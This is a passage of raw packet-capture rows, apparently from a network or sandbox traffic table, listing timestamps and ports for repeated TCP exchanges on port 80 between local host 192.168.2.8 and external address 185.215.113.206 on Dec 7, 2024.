Dec 7, 2024 15:06:48.052393913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.052432060 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.053163052 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.053210974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.053337097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.053380966 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.054066896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.054119110 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.054151058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.054191113 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.054925919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.054969072 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.055052996 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.055097103 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.055944920 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.055988073 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.056015968 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.056055069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.056683064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.056730986 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.056771994 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.056816101 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.057532072 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.057614088 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.057738066 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.057781935 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.058427095 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.058471918 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.058507919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.058566093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.059289932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.059333086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.059403896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.059449911 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.060173988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.060216904 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.060249090 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.060292006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.061033010 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.061077118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.061187983 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.061232090 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.061914921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.061966896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.062006950 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.062048912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.062825918 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.062879086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.062895060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.062935114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.063721895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.063762903 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.063766003 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.063807011 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.107372046 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.107436895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.107465029 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.107502937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.107840061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.107887030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.107949018 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.107995033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.108591080 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.108630896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.108762980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.108805895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.109464884 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.109520912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.109549046 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.109584093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.110296965 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.110343933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.110423088 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.110481024 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.111232042 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.111275911 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.111306906 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.111355066 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.112183094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.112224102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.112304926 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.112356901 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.112991095 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.113035917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.113109112 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.113153934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.113817930 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.113866091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.113919973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.113959074 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.114690065 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.114737034 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.114840984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.114886999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.115586042 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.115632057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.115715027 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.115760088 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.116492987 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.116506100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.116530895 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.116550922 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.117417097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.117461920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.117494106 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.117537975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.118252039 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.118302107 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.118314981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.118350983 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.119080067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.119139910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.119179964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.119221926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.119973898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.120019913 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.120085001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.120135069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.120903969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.120950937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.120986938 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.121032953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.121742964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.121792078 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.121854067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.121901035 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.122565031 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.122610092 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.122690916 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.122736931 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.123434067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.123472929 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.123558044 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.123604059 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.124310017 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.124352932 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.124414921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.124460936 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.125196934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.125245094 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.125391960 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.125435114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.126087904 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.126127005 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.126326084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.126370907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.126887083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.126930952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.230988979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.231079102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.231149912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.231190920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.231453896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.231507063 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.231564045 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.231609106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.232274055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.232316971 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.232412100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.232453108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.233282089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.233355045 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.233391047 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.233428955 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.234000921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.234038115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.234106064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.234141111 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.234899044 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.234954119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.235029936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.235060930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.235759974 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.235802889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.235937119 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.235975981 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.236668110 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.236717939 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.236808062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.236850977 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.237509966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.237552881 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.237574100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.237611055 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.238471985 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.238508940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.238517046 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.238542080 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.239275932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.239324093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.239355087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.239398003 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.240158081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.240212917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.240250111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.240289927 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.241116047 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.241157055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.241163969 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.241198063 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.241894007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.241939068 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.241986990 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.242029905 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.242815018 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.242858887 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.242959023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.243000984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.243642092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.243685007 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.243726015 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.243768930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.244565964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.244623899 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.244657040 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.244704008 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.245429993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.245493889 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.245524883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.245563984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.246326923 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.246345997 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.246381998 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.247323036 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.247364044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.247364044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.247366905 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.247401953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.248064041 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.248107910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.248197079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.248240948 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.248915911 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.248971939 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.249010086 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.249049902 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.249814987 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.249859095 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.249921083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.249963999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.250699043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.250742912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.250792980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.250834942 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.251564980 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.251609087 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.251626968 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.251668930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.252429962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.252473116 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.252510071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.252547026 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.252557993 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.253295898 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.253340006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.253504992 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.253549099 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.254179001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.254224062 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.254267931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.254309893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.255115032 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.255161047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.255229950 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.255275011 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.255924940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.256007910 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.256009102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.256047964 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.299945116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.300015926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.300069094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.300111055 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.300358057 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.300398111 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.300523996 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.300560951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.300940037 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.300990105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.301045895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.301084042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.301831007 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.301873922 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.301911116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.301947117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.302763939 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.302809000 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.302817106 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.302844048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.303575993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.303617954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.303658009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.303695917 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.304425955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.304472923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.304524899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.304560900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.305320978 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.305413008 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.305454969 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.305495024 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.306207895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.306245089 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.306328058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.306366920 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.307063103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.307106018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.307245016 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.307320118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.307976961 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.308021069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.308046103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.308079004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.308820963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.308865070 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.308944941 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.308989048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.309665918 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.309711933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.309778929 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.309814930 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.311120987 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.311176062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.311178923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.311214924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.311913013 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.311954975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.312021971 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.312060118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.312627077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.312670946 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.312674046 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.312714100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.313323975 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.313374043 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.313405991 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.313436985 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.314157009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:48.314202070 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:48.314255953 CET	80	49738	185.215.113.206	192.168.2.8
